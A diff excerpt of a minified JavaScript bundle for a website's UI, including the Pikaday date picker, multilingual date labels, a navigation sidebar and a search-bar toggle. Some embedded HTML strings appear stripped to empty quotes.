(m(i[a])) { + if (n) { + t[a] = new Date(i[a].getTime()) + } + } else if (h(i[a])) { + if (n) { + t[a] = i[a].slice(0) + } + } else { + t[a] = e({}, i[a], n) + } + } else if (n || !s) { + t[a] = i[a] + } + } + return t + }, + w = function e(t, i, n) { + var r; + if (a.createEvent) { + r = a.createEvent("HTMLEvents"); + r.initEvent(i, true, false); + r = b(r, n); + t.dispatchEvent(r) + } else if (a.createEventObject) { + r = a.createEventObject(); + r = b(r, n); + t.fireEvent("on" + i, r) + } + }, + M = function e(t) { + if (t.month < 0) { + t.year -= Math.ceil(Math.abs(t.month) / 12); + t.month += 12 + } + if (t.month > 11) { + t.year += Math.floor(Math.abs(t.month) / 12); + t.month -= 12 + } + return t + }, + k = { + field: null, + bound: undefined, + ariaLabel: "Use the arrow keys to pick a date", + position: "bottom left", + reposition: true, + format: "YYYY-MM-DD", + toString: null, + parse: null, + defaultDate: null, + setDefaultDate: false, + firstDay: 0, + formatStrict: false, + minDate: null, + maxDate: null, + yearRange: 10, + showWeekNumber: false, + pickWholeWeek: false, + minYear: 0, + maxYear: 9999, + minMonth: undefined, + maxMonth: undefined, + startRange: null, + endRange: null, + isRTL: false, + yearSuffix: "", + showMonthAfterYear: false, + showDaysInNextAndPreviousMonths: false, + enableSelectionDaysInNextAndPreviousMonths: false, + numberOfMonths: 1, + mainCalendar: "left", + container: undefined, + blurFieldOnSelect: true, + i18n: { + previousMonth: "Previous Month", + nextMonth: "Next Month", + months: ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"], + weekdays: ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"], + weekdaysShort: ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"] + }, + theme: null, + events: [], + onSelect: null, + onOpen: null, + onClose: null, + onDraw: null, + keyboardInput: true + }, + L = function e(t, i, n) { + i += t.firstDay; + while (i >= 7) { + i -= 7 + } + return n ? t.i18n.weekdaysShort[i] : t.i18n.weekdays[i] + }, + T = function e(t) { + var i = []; + var n = "false"; + if (t.isEmpty) { + if (t.showDaysInNextAndPreviousMonths) { + i.push("is-outside-current-month"); + if (!t.enableSelectionDaysInNextAndPreviousMonths) { + i.push("is-selection-disabled") + } + } else { + return '' + } + } + if (t.isDisabled) { + i.push("is-disabled") + } + if (t.isToday) { + i.push("is-today") + } + if (t.isSelected) { + i.push("is-selected"); + n = "true" + } + if (t.hasEvent) { + i.push("has-event") + } + if (t.isInRange) { + i.push("is-inrange") + } + if (t.isStartRange) { + i.push("is-startrange") + } + if (t.isEndRange) { + i.push("is-endrange") + } + return '' + '" + "" + }, + x = function e(t, i, n) { + var r = new Date(n, 0, 1), + a = Math.ceil(((new Date(n, i, t) - r) / 864e5 + r.getDay() + 1) / 7); + return '' + a + "" + }, + S = function e(t, i, n, r) { + return '' + (i ? t.reverse() : t).join("") + "" + }, + Y = function e(t) { + return "" + t.join("") + "" + }, + D = function e(t) { + var i, n = []; + if (t.showWeekNumber) { + n.push("") + } + for (i = 0; i < 7; i++) { + n.push('' + L(t, i, true) + "") + } + return "" + (t.isRTL ? n.reverse() : n).join("") + "" + }, + E = function e(t, i, n, r, a, s) { + var o, l, u, d = t._o, + f = n === d.minYear, + c = n === d.maxYear, + m = '
', + p, v, _ = true, + g = true; + for (u = [], o = 0; o < 12; o++) { + u.push('") + } + p = '
' + d.i18n.months[r]; + p += '"; + p += "
"; + if (h(d.yearRange)) { + o = d.yearRange[0]; + l = d.yearRange[1] + 1 + } else { + o = n - d.yearRange; + l = 1 + n + d.yearRange + } + for (u = []; o < l && o <= d.maxYear; o++) { + if (o >= d.minYear) { + u.push('") + } + } + v = '
' + n + d.yearSuffix; + v += '
"; + v += "
"; + if (d.showMonthAfterYear) { + m += v + p + } else { + m += p + v + } + if (f && (r === 0 || d.minMonth >= r)) { + _ = false + } + if (c && (r === 11 || d.maxMonth <= r)) { + g = false + } + if (i === 0) { + m += '" + } + if (i === t._o.numberOfMonths - 1) { + m += '" + } + return m += "" + }, + C = function e(t, i, n) { + return '' + D(t) + Y(i) + "
" + }, + P = function e(r) { + var l = this, + u = l.config(r); + l.isDragging = false; + l._onTouchStart = function () { + l.isDragging = false + }; + l._onTouchMove = function () { + l.isDragging = true + }; + l._onMouseDown = function (e) { + if (!l._v) { + return + } + e = e || window.event; + var t = e.target || e.srcElement; + if (!t) { + return + } + if (l.isDragging) { + return + } + if (!d(t, "is-disabled")) { + if (d(t, "pika-button") && !d(t, "is-empty") && !d(t.parentNode, "is-disabled")) { + l.setDate(new Date(t.getAttribute("data-pika-year"), t.getAttribute("data-pika-month"), t.getAttribute("data-pika-day"))); + if (u.bound) { + s(function () { + l.hide(); + if (u.blurFieldOnSelect && u.field) { + u.field.blur() + } + }, 100) + } + } else if (d(t, "pika-prev")) { + l.prevMonth() + } else if (d(t, "pika-next")) { + l.nextMonth() + } + } + if (!d(t, "pika-select")) { + if (e.preventDefault) { + e.preventDefault() + } else { + e.returnValue = false; + return false + } + } else { + l._c = true + } + }; + l._onChange = function (e) { + e = e || window.event; + var t = e.target || e.srcElement; + if (!t) { + return + } + if (d(t, "pika-select-month")) { + l.selectChange = true; + l.gotoMonth(t.value) + } else if (d(t, "pika-select-year")) { + l.selectChange = true; + l.gotoYear(t.value) + } + s(function () { + l.selectChange = false + }, 500) + }; + l._onKeyChange = function (e) { + e = e || window.event; + if (l.isVisible()) { + switch (e.keyCode) { + case 13: + case 27: + if (u.field) { + u.field.blur() + } + break; + case 37: + e.preventDefault(); + l.adjustDate("subtract", 1); + break; + case 38: + l.adjustDate("subtract", 7); + break; + case 39: + l.adjustDate("add", 1); + break; + case 40: + l.adjustDate("add", 7); + break + } + } + }; + l._onInputChange = function (e) { + var n; + if (e.firedBy === l) { + return + } + if (u.parse) { + n = u.parse(u.field.value, u.format) + } else if (i) { + n = t(u.field.value, u.format, u.formatStrict); + n = n && n.isValid() ? n.toDate() : null + } else { + n = new Date(Date.parse(u.field.value)) + } + if (m(n)) { + l.setDate(n) + } + if (!l._v) { + l.show() + } + }; + l._onInputFocus = function () { + l.show() + }; + l._onInputClick = function () { + l.show() + }; + l._onInputBlur = function () { + var e = a.activeElement; + do { + if (d(e, "pika-single")) { + return + } + } while (e = e.parentNode); + if (!l._c) { + l._b = s(function () { + l.hide() + }, 50) + } + l._c = false + }; + l._onClick = function (e) { + e = e || window.event; + var t = e.target || e.srcElement, + i = t; + if (!t) { + return + } + if (!n && d(t, "pika-select")) { + if (!t.onchange) { + t.setAttribute("onchange", "return;"); + o(t, "change", l._onChange) + } + } + do { + if (d(i, "pika-single") || i === u.trigger) { + return + } + } while (i = i.parentNode); + if (l._v && t !== u.trigger && i !== u.trigger) { + l.hide() + } + }; + l.el = a.createElement("div"); + l.el.className = "pika-single" + (u.isRTL ? " is-rtl" : "") + (u.theme ? " " + u.theme : ""); + o(l.el, "mousedown", l._onMouseDown, true); + o(l.el, "touchend", l._onMouseDown, true); + o(l.el, "touchstart", l._onTouchStart, true); + o(l.el, "touchmove", l._onTouchMove, true); + o(l.el, "change", l._onChange); + if (u.keyboardInput) { + o(a, "keydown", l._onKeyChange) + } + if (u.field) { + if (u.container) { + u.container.appendChild(l.el) + } else if (u.bound) { + a.body.appendChild(l.el) + } else { + u.field.parentNode.insertBefore(l.el, u.field.nextSibling) + } + o(u.field, "change", l._onInputChange); + if (!u.defaultDate) { + if (i && u.field.value) { + u.defaultDate = t(u.field.value, u.format).toDate() + } else { + u.defaultDate = new Date(Date.parse(u.field.value)) + } + u.setDefaultDate = true + } + } + var f = u.defaultDate; + if (m(f)) { + if (u.setDefaultDate) { + l.setDate(f, true) + } else { + l.gotoDate(f) + } + } else { + l.gotoDate(new Date) + } + if (u.bound) { + this.hide(); + l.el.className += " is-bound"; + o(u.trigger, "click", l._onInputClick); + o(u.trigger, "blur", l._onInputBlur) + } else { + this.show() + } + }; + P.prototype = { + config: function e(t) { + if (!this._o) { + this._o = b({}, k, true) + } + var i = b(this._o, t, true); + i.isRTL = !!i.isRTL; + i.field = i.field && i.field.nodeName ? i.field : null; + i.theme = typeof i.theme === "string" && i.theme ? i.theme : null; + i.bound = !!(i.bound !== undefined ? i.field && i.bound : i.field); + i.trigger = i.trigger && i.trigger.nodeName ? i.trigger : i.field; + i.disableWeekends = !!i.disableWeekends; + i.disableDayFn = typeof i.disableDayFn === "function" ? i.disableDayFn : null; + var n = parseInt(i.numberOfMonths, 10) || 1; + i.numberOfMonths = n > 4 ? 4 : n; + if (!m(i.minDate)) { + i.minDate = false + } + if (!m(i.maxDate)) { + i.maxDate = false + } + if (i.minDate && i.maxDate && i.maxDate < i.minDate) { + i.maxDate = i.minDate = false + } + if (i.minDate) { + this.setMinDate(i.minDate) + } + if (i.maxDate) { + this.setMaxDate(i.maxDate) + } + if (h(i.yearRange)) { + var r = (new Date).getFullYear() - 10; + i.yearRange[0] = parseInt(i.yearRange[0], 10) || r; + i.yearRange[1] = parseInt(i.yearRange[1], 10) || r + } else { + i.yearRange = Math.abs(parseInt(i.yearRange, 10)) || k.yearRange; + if (i.yearRange > 100) { + i.yearRange = 100 + } + } + return i + }, + toString: function e(n) { + n = n || this._o.format; + if (!m(this._d)) { + return "" + } + if (this._o.toString) { + return this._o.toString(this._d, n) + } + if (i) { + return t(this._d).format(n) + } + return this._d.toDateString() + }, + getMoment: function e() { + return i ? t(this._d) : null + }, + setMoment: function e(n, r) { + if (i && t.isMoment(n)) { + this.setDate(n.toDate(), r) + } + }, + getDate: function e() { + return m(this._d) ? new Date(this._d.getTime()) : null + }, + setDate: function e(t, i) { + if (!t) { + this._d = null; + if (this._o.field) { + this._o.field.value = ""; + w(this._o.field, "change", { + firedBy: this + }) + } + return this.draw() + } + if (typeof t === "string") { + t = new Date(Date.parse(t)) + } + if (!m(t)) { + return + } + var n = this._o.minDate, + r = this._o.maxDate; + if (m(n) && t < n) { + t = n + } else if (m(r) && t > r) { + t = r + } + this._d = new Date(t.getTime()); + g(this._d); + this.gotoDate(this._d); + if (this._o.field) { + this._o.field.value = this.toString(); + w(this._o.field, "change", { + firedBy: this + }) + } + if (!i && typeof this._o.onSelect === "function") { + this._o.onSelect.call(this, this.getDate()) + } + }, + gotoDate: function e(t) { + var i = true; + if (!m(t)) { + return + } + if (this.calendars) { + var n = new Date(this.calendars[0].year, this.calendars[0].month, 1), + r = new Date(this.calendars[this.calendars.length - 1].year, this.calendars[this.calendars.length - 1].month, 1), + a = t.getTime(); + r.setMonth(r.getMonth() + 1); + r.setDate(r.getDate() - 1); + i = a < n.getTime() || r.getTime() < a + } + if (i) { + this.calendars = [{ + month: t.getMonth(), + year: t.getFullYear() + }]; + if (this._o.mainCalendar === "right") { + this.calendars[0].month += 1 - this._o.numberOfMonths + } + } + this.adjustCalendars() + }, + adjustDate: function e(t, i) { + var n = this.getDate() || new Date; + var r = parseInt(i) * 24 * 60 * 60 * 1e3; + var a; + if (t === "add") { + a = new Date(n.valueOf() + r) + } else if (t === "subtract") { + a = new Date(n.valueOf() - r) + } + this.setDate(a) + }, + adjustCalendars: function e() { + this.calendars[0] = M(this.calendars[0]); + for (var t = 1; t < this._o.numberOfMonths; t++) { + this.calendars[t] = M({ + month: this.calendars[0].month + t, + year: this.calendars[0].year + }) + } + this.draw() + }, + gotoToday: function e() { + this.gotoDate(new Date) + }, + gotoMonth: function e(t) { + if (!isNaN(t)) { + this.calendars[0].month = parseInt(t, 10); + this.adjustCalendars() + } + }, + nextMonth: function e() { + this.calendars[0].month++; + this.adjustCalendars() + }, + prevMonth: function e() { + this.calendars[0].month--; + this.adjustCalendars() + }, + gotoYear: function e(t) { + if (!isNaN(t)) { + this.calendars[0].year = parseInt(t, 10); + this.adjustCalendars() + } + }, + setMinDate: function e(t) { + if (t instanceof Date) { + g(t); + this._o.minDate = t; + this._o.minYear = t.getFullYear(); + this._o.minMonth = t.getMonth() + } else { + this._o.minDate = k.minDate; + this._o.minYear = k.minYear; + this._o.minMonth = k.minMonth; + this._o.startRange = k.startRange + } + this.draw() + }, + setMaxDate: function e(t) { + if (t instanceof Date) { + g(t); + this._o.maxDate = t; + this._o.maxYear = t.getFullYear(); + this._o.maxMonth = t.getMonth() + } else { + this._o.maxDate = k.maxDate; + this._o.maxYear = k.maxYear; + this._o.maxMonth = k.maxMonth; + this._o.endRange = k.endRange + } + this.draw() + }, + setStartRange: function e(t) { + this._o.startRange = t + }, + setEndRange: function e(t) { + this._o.endRange = t + }, + draw: function e(t) { + if (!this._v && !t) { + return + } + var i = this._o, + n = i.minYear, + r = i.maxYear, + a = i.minMonth, + s = i.maxMonth, + o = "", + l; + if (this._y <= n) { + this._y = n; + if (!isNaN(a) && this._m < a) { + this._m = a + } + } + if (this._y >= r) { + this._y = r; + if (!isNaN(s) && this._m > s) { + this._m = s + } + } + l = "pika-title-" + Math.random().toString(36).replace(/[^a-z]+/g, "").substr(0, 2); + for (var u = 0; u < i.numberOfMonths; u++) { + o += '
' + E(this, u, this.calendars[u].year, this.calendars[u].month, this.calendars[0].year, l) + this.render(this.calendars[u].year, this.calendars[u].month, l) + "
" + } + this.el.innerHTML = o; + if (typeof this._o.onDraw === "function") { + this._o.onDraw(this) + } + if (i.bound && i.ariaLabel && String(i.ariaLabel).length > 0) { + i.field.setAttribute("aria-label", i.ariaLabel) + } + }, + adjustPosition: function e() { + var t, i, n, r, s, o, l, u, d, h, m, p; + if (this._o.container) return; + this.el.style.position = "absolute"; + t = this._o.trigger; + i = t; + n = this.el.offsetWidth; + r = this.el.offsetHeight; + s = window.innerWidth || a.documentElement.clientWidth; + o = window.innerHeight || a.documentElement.clientHeight; + l = window.pageYOffset || a.body.scrollTop || a.documentElement.scrollTop; + m = true; + p = true; + if (typeof t.getBoundingClientRect === "function") { + h = t.getBoundingClientRect(); + u = h.left + window.pageXOffset; + d = h.bottom + window.pageYOffset + } else { + u = i.offsetLeft; + d = i.offsetTop + i.offsetHeight; + while (i = i.offsetParent) { + u += i.offsetLeft; + d += i.offsetTop + } + } + if (this._o.reposition && u + n > s || this._o.position.indexOf("right") > -1 && u - n + t.offsetWidth > 0) { + u = u - n + t.offsetWidth; + m = false + } + if (this._o.reposition && d + r > o + l || this._o.position.indexOf("top") > -1 && d - r - t.offsetHeight > 0) { + d = d - r - t.offsetHeight; + p = false + } + this.el.style.left = u + "px"; + this.el.style.top = d + "px"; + f(this.el, m ? "left-aligned" : "right-aligned"); + f(this.el, p ? "bottom-aligned" : "top-aligned"); + c(this.el, !m ? "left-aligned" : "right-aligned"); + c(this.el, !p ? "bottom-aligned" : "top-aligned") + }, + render: function e(t, i, n) { + var r = this._o, + a = new Date, + s = _(t, i), + o = new Date(t, i, 1).getDay(), + l = [], + u = []; + g(a); + if (r.firstDay > 0) { + o -= r.firstDay; + if (o < 0) { + o += 7 + } + } + var d = i === 0 ? 11 : i - 1, + f = i === 11 ? 0 : i + 1, + c = i === 0 ? t - 1 : t, + h = i === 11 ? t + 1 : t, + v = _(c, d); + var b = s + o, + w = b; + while (w > 7) { + w -= 7 + } + b += 7 - w; + var M = false; + for (var k = 0, L = 0; k < b; k++) { + var Y = new Date(t, i, 1 + (k - o)), + D = m(this._d) ? y(Y, this._d) : false, + E = y(Y, a), + P = r.events.indexOf(Y.toDateString()) !== -1 ? true : false, + A = k < o || k >= s + o, + O = 1 + (k - o), + j = i, + H = t, + I = r.startRange && y(r.startRange, Y), + F = r.endRange && y(r.endRange, Y), + z = r.startRange && r.endRange && r.startRange < Y && Y < r.endRange, + R = r.minDate && Y < r.minDate || r.maxDate && Y > r.maxDate || r.disableWeekends && p(Y) || r.disableDayFn && r.disableDayFn(Y); + if (A) { + if (k < o) { + O = v + O; + j = d; + H = c + } else { + O = O - s; + j = f; + H = h + } + } + var N = { + day: O, + month: j, + year: H, + hasEvent: P, + isSelected: D, + isToday: E, + isDisabled: R, + isEmpty: A, + isStartRange: I, + isEndRange: F, + isInRange: z, + showDaysInNextAndPreviousMonths: r.showDaysInNextAndPreviousMonths, + enableSelectionDaysInNextAndPreviousMonths: r.enableSelectionDaysInNextAndPreviousMonths + }; + if (r.pickWholeWeek && D) { + M = true + } + u.push(T(N)); + if (++L === 7) { + if (r.showWeekNumber) { + u.unshift(x(k - o, i, t)) + } + l.push(S(u, r.isRTL, r.pickWholeWeek, M)); + u = []; + L = 0; + M = false + } + } + return C(r, l, n) + }, + isVisible: function e() { + return this._v + }, + show: function e() { + if (!this.isVisible()) { + this._v = true; + this.draw(); + c(this.el, "is-hidden"); + if (this._o.bound) { + o(a, "click", this._onClick); + this.adjustPosition() + } + if (typeof this._o.onOpen === "function") { + this._o.onOpen.call(this) + } + } + }, + hide: function e() { + var t = this._v; + if (t !== false) { + if (this._o.bound) { + l(a, "click", this._onClick) + } + this.el.style.position = "static"; + this.el.style.left = "auto"; + this.el.style.top = "auto"; + f(this.el, "is-hidden"); + this._v = false; + if (t !== undefined && typeof this._o.onClose === "function") { + this._o.onClose.call(this) + } + } + }, + destroy: function e() { + var t = this._o; + this.hide(); + l(this.el, "mousedown", this._onMouseDown, true); + l(this.el, "touchend", this._onMouseDown, true); + l(this.el, "touchstart", this._onTouchStart, true); + l(this.el, "touchmove", this._onTouchMove, true); + l(this.el, "change", this._onChange); + if (t.keyboardInput) { + l(a, "keydown", this._onKeyChange) + } + if (t.field) { + l(t.field, "change", this._onInputChange); + if (t.bound) { + l(t.trigger, "click", this._onInputClick); + l(t.trigger, "focus", this._onInputFocus); + l(t.trigger, "blur", this._onInputBlur) + } + } + if (this.el.parentNode) { + this.el.parentNode.removeChild(this.el) + } + } + }; + return P + }; + t.default = l(s.default) + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = { + previousMonth: '', + nextMonth: '', + months: ["january", "february", "march", "april", "may", "june", "july", "august", "september", "october", "november", "december"], + weekdays: ["sunday", "monday", "tuesday", "wednesday", "thursday", "friday", "saturday"], + weekdaysShort: ["su", "mo", "tu", "we", "th", "fr", "sa"] + }; + var r = { + previousMonth: '', + nextMonth: '', + months: ["janvier", "février", "mars", "avril", "may", "juin", "juillet", "august", "septembre", "octobre", "novembre", "décembre"], + weekdays: ["dimanche", "lundi", "mardi", "mercredi", "jeudi", "vendredi", "samedi"], + weekdaysShort: ["di", "lu", "ma", "me", "je", "ve", "sa"] + }; + var a = { + previousMonth: '', + nextMonth: '', + months: ["januari", "februari", "maart", "april", "mei", "juni", "juli", "augustus", "september", "oktober", "november", "december"], + weekdays: ["zondag", "maandag", "dinsdag", "woensdag", "donderdag", "vrijdag", "zaterdag"], + weekdaysShort: ["zo", "ma", "di", "wo", "do", "vr", "zat"] + }; + var s = { + previousMonth: '', + nextMonth: '', + months: ["januar", "februar", "märz", "april", "mai", "juni", "juli", "august", "september", "oktober", "november", "dezember"], + weekdays: ["sonntag", "montag", "dienstag", "mittwoch", "donnerstag", "freitag", "samstag"], + weekdaysShort: ["so", "mo", "di", "mi", "do", "fr", "sa"] + }; + t.en = n; + t.fr = r; + t.nl = a; + t.de = s + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + t.default = t.WizardTrigger = undefined; + var n = i(164); + var r = o(n); + var a = i(442); + var s = o(a); + + function o(e) { + return e && e.__esModule ? e : { + default: e + } + } + t.WizardTrigger = s.default; + t.default = r.default + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(3); + var r = m(n); + var a = i(1); + var s = m(a); + var o = i(4); + var l = m(o); + var u = i(5); + var d = m(u); + var f = i(164); + var c = m(f); + var h = i(2); + + function m(e) { + return e && e.__esModule ? e : { + default: e + } + } + var p = function (e) { + (0, d.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, s.default)(this, t); + var n = (0, l.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e)); + n.el = e; + n.el.addEventListener("click", function (t) { + t.preventDefault(); + var i = document.getElementById(e.getAttribute("data-content")); + if (i) { + var n = new c.default(i); + n.open() + } + }); + return n + } + return t + }(h.Component); + p.default_settings = { + attributes: false + }; + t.default = p + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + t.default = undefined; + var n = i(13); + var r = m(n); + var a = i(58); + var s = m(a); + var o = i(7); + var l = h(o); + var u = i(15); + var d = i(69); + var f = i(165); + var c = i(167); + + function h(e) { + if (e && e.__esModule) { + return e + } else { + var t = {}; + if (e != null) { + for (var i in e) { + if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] + } + } + t.default = e; + return t + } + } + + function m(e) { + return e && e.__esModule ? e : { + default: e + } + } + var p = { + navigationContainer: ".nav-sidebar--navigation", + navigationListItem: ".navigation__list", + plannerContainer: ".navigation__planner", + navigationPanel: ".nav-sidebar-panel--navigation", + btnShowPlanner: ".js-show-planner", + openNavigation: ".js-open-navigation", + login: ".js-login", + btnClose: ".sidebar__btn-close", + btnCloseSideBar: ".nav-sidebar__btn-close", + btnBack: ".nav-sidebar__btn-back" + }; + var v = { + attributes: false, + breakpointMobile: 992, + stateClass: "active", + showClass: "show", + easing: d.Power2.easeInOut, + animationTime: .3, + animationTimeLarge: .6 + }; + var _ = void 0, + g = void 0, + y = void 0, + b = void 0; + var w = function e(t) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + g = t; + l.on(document, "click", p.openNavigation, x); + l.on(t, "click", p.btnClose, Y); + l.on(document, "click", p.btnCloseSideBar, Y); + l.on(document, "click", p.btnBack, S); + l.on(l.get(p.navigationListItem, t), "click", "a", D); + l.on(t, "click", p.btnShowPlanner, function (e) { + e.preventDefault(); + l.toggleClass(l.get(p.plannerContainer, t), "hide") + }); + l.on(document, "click", p.login, function (e, t) { + e.preventDefault(); + if (l.hasClass(t, "account--loggedin")) { + l.removeClass(t, "account--loggedin"); + t.innerHTML = '' + } else { + l.addClass(t, "account--loggedin"); + t.innerHTML = '' + } + }); + M(g) + }; + var M = function e(t) { + var i = void 0; + var n = function e() { + var i = (0, u.getScreenSize)(); + if (i !== "sm" && i !== "md") { + var n = t.querySelector(".nav-sidebar-panel__content").offsetHeight; + var r = t.querySelector(".nav-sidebar__content").offsetHeight + t.querySelector(".nav-sidebar__footer").offsetHeight + t.querySelector(".nav-sidebar__header").offsetHeight + 100 / 2; + var a = l.getDocumentHeight(); + var s = a; + s = n > r ? n : r; + if (r > n) { + t.querySelector(".nav-sidebar-panel").style.height = s + "px" + } else { + t.querySelector(".nav-sidebar-panel").style.removeProperty("height"); + s += 100 + } + t.style.height = s + "px" + } + }; + window.addEventListener("resize", function () { + clearTimeout(i); + i = setTimeout(function () { + n() + }, 150) + }); + setInterval(function () { + n() + }, 1e3); + n() + }; + var k = function e(t) { + t = L(t); + if (t.keyCode === 27) { + Y(t) + } + }; + var L = function e(t) { + var i = document.activeElement; + if (!i) { + i = document.body + } + if (!i.nodeName) { + i = document.body + } + var n = g === i || g.contains(i); + if (!n) { + t.preventDefault(); + T() + } + return t + }; + var T = function e() { + l.get(".navigation__list a")[0].focus() + }; + var x = function e(t) { + t.preventDefault(); + window.addEventListener("keyup", k); + b = l.get(p.openNavigation); + l.addClass(g, window.innerWidth > v.breakpointMobile ? ["nav-sidebar--open", "nav-sidebar--panel"] : ["nav-sidebar--open", "nav-sidebar--large-panel"]); + l.get("main").setAttribute("aria-hidden", "true"); + y = (0, f.getCurrentNavSidebarContainer)(); + (0, c.setCurrentPanel)(p.navigationPanel); + (0, f.setCurrentNavSidebarContainer)(l.get(p.navigationContainer)); + setTimeout(function () { + _ = new d.TimelineLite; + _.eventCallback("onComplete", function () { + l.addClass(l.get("main"), "lock"); + T(); + E() + }); + _.to(g, v.animationTime, { + y: 0, + ease: v.easing + }, 0); + _.to(l.get(".navigation__panel-item")[0], v.animationTime, { + alpha: 1, + ease: v.easing + }, .05) + }, 1) + }; + var S = function e(t) { + t.preventDefault(); + if (window.innerWidth < v.breakpointMobile) { + t.noLockRemoval = true; + (0, c.ClosePanelAnimation)(t, "", function () {}) + }(0, c.reverseInlineSwitch)(t); + (0, f.changeMenuLinks)("close"); + P() + }; + var Y = function e(t) { + t.stopPropagation(); + l.removeClass(l.get("main"), "lock"); + l.get("main").setAttribute("aria-hidden", "false"); + window.removeEventListener("keyup", k); + b.focus(); + _.eventCallback("onReverseComplete", function () { + (0, f.setCurrentNavSidebarContainer)(y); + l.removeClass(g, window.innerWidth > v.breakpointMobile ? ["nav-sidebar--open", "nav-sidebar--panel"] : "nav-sidebar--open"); + P() + }); + _.reverse(0) + }; + var D = function e(t, i) { + t.preventDefault(); + var n = i.parentNode, + r = l.getDataAttributes(i), + a = r.id, + s = l.get(p.navigationListItem + " li", g), + o = l.get(p.navigationPanel + " .navigation__panel-item", g); + s.forEach(function (e) { + l.removeClass(e, v.stateClass) + }); + l.addClass(n, v.stateClass); + o.forEach(function (e) { + l.removeClass(e, [v.stateClass, v.showClass]) + }); + var u = l.get(p.navigationPanel + ' [data-id="' + a + '"]', g); + l.addClass(u, [v.stateClass, v.showClass]); + var d = u.querySelectorAll("h1, h2, h3, a")[0]; + d.setAttribute("tabindex", 0); + d.focus(); + if (window.innerWidth < v.breakpointMobile) { + (0, c.playInlineSwitch)(t, p.navigationPanel, ".nav-sidebar--navigation .nav-sidebar__block", false, function () {}) + }(0, f.changeMenuLinks)("back"); + C() + }; + var E = function e() { + (0, f.scrollFixedNavSidebar)() + }; + var C = function e() { + (0, f.scrollFixedNavSidebar)() + }; + var P = function e() { + (0, f.scrollFixedNavSidebar)() + }; + var A = function e(t) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + i = (0, s.default)(v, i); + var n = [t]; + if (typeof t === "string") { + n = (0, r.default)(document.querySelectorAll(t)) + } else if (Array.isArray(t)) { + n = t + } + n.forEach(function (e) { + w(e, i) + }) + }; + t.default = A + }, function (e, t, i) { + i(445); + e.exports = i(14).Object.entries + }, function (e, t, i) { + var n = i(24); + var r = i(446)(true); + n(n.S, "Object", { + entries: function e(t) { + return r(t) + } + }) + }, function (e, t, i) { + var n = i(48); + var r = i(31); + var a = i(68).f; + e.exports = function (e) { + return function (t) { + var i = r(t); + var s = n(i); + var o = s.length; + var l = 0; + var u = []; + var d; + while (o > l) + if (a.call(i, d = s[l++])) { + u.push(e ? [d, i[d]] : i[d]) + } + return u + } + } + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + t.default = undefined; + var n = i(3); + var r = v(n); + var a = i(1); + var s = v(a); + var o = i(6); + var l = v(o); + var u = i(4); + var d = v(u); + var f = i(5); + var c = v(f); + var h = i(2); + var m = i(15); + var p = i(7); + + function v(e) { + return e && e.__esModule ? e : { + default: e + } + } + var _ = function (e) { + (0, c.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, s.default)(this, t); + var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.defaultSettings, i)); + n.state = { + isOpen: false + }; + n.triggerBtn = n.el.querySelector(".navigation-bar__search__trigger"); + n.closeBtn = n.el.querySelector(".navigation-bar__search__close"); + n.form = n.el.querySelector("form"); + n.input = n.form.querySelector("input"); + n.toggle = n.toggle.bind(n); + n.close = n.close.bind(n); + n.open = n.open.bind(n); + n.position = n.position.bind(n); + n.triggerBtn.addEventListener("click", n.toggle); + n.triggerBtn.setAttribute("aria-expanded", false); + n.closeBtn.addEventListener("click", n.close); + window.addEventListener("resize", n.position); + return n + }(0, l.default)(t, [{ + key: "toggle", + value: function e() { + if (this.state.isOpen) { + this.close() + } else { + this.open() + } + } + }, { + key: "open", + value: function e() { + this.form.classList.add("is-open"); + this.state.isOpen = true; + this.position(); + this.triggerBtn.setAttribute("aria-expanded", true); + this.input.focus() + } + }, { + key: "close", + value: function e() { + this.form.classList.remove("is-open"); + this.state.isOpen = false; + this.triggerBtn.setAttribute("aria-expanded", true); + this.triggerBtn.focus() + } + }, { + key: "position", + value: function e() { + var t = document.querySelector(".navigation-bar__main"); + var i = t.getBoundingClientRect(); + var n = document.querySelector(".navigation-bar").classList.contains("navigation-bar--reversed"); + if ((0, m.getScreenSize)() == "sm" || (0, m.getScreenSize)() == "md") { + this.form.style.width = document.body.clientWidth + "px"; + this.form.style.left = -1 * (0, p.offset)(this.el).left + "px" + } else { + if (n) { + var r = document.querySelector(".navigation-bar__logo"); + var a = r.getBoundingClientRect(); + var s = 20; + this.form.style.top = (0, p.offset)(this.el).top * -1 + "px"; + this.form.style.width = i.width - (a.width + s) - (0, p.offset)(r).left + "px"; + this.form.style.left = a.width + (0, p.offset)(r).left + s + (0, p.offset)(this.el).left * -1 + "px" + } else { + this.form.style.width = i.width + "px"; + this.form.style.left = (0, p.offset)(this.el).left * -1 + (0, p.offset)(t).left + "px" + } + } + } + }]); + return t + }(h.Component); + _.defaultSettings = { + attributes: true + }; + t.default = _ + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + t.getCurrentSidebarSelector = t.setCurrentSidebarContainer = t.getCurrentSidebarContainer = t.openSidebarMobile = t.deleteFooterLink = t.toggleTitleIcon = t.ToggleMobileNavigation = t.changeMenuLinks = t.scrollFixedSidebar = t.default = undefined; + var n = i(58); + var r = h(n); + var a = i(13); + var s = h(a); + var o = i(166); + var l = h(o); + var u = i(7); + var d = c(u); + var f = i(15); + + function c(e) { + if (e && e.__esModule) { + return e + } else { + var t = {}; + if (e != null) { + for (var i in e) { + if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] + } + } + t.default = e; + return t + } + } + + function h(e) { + return e && 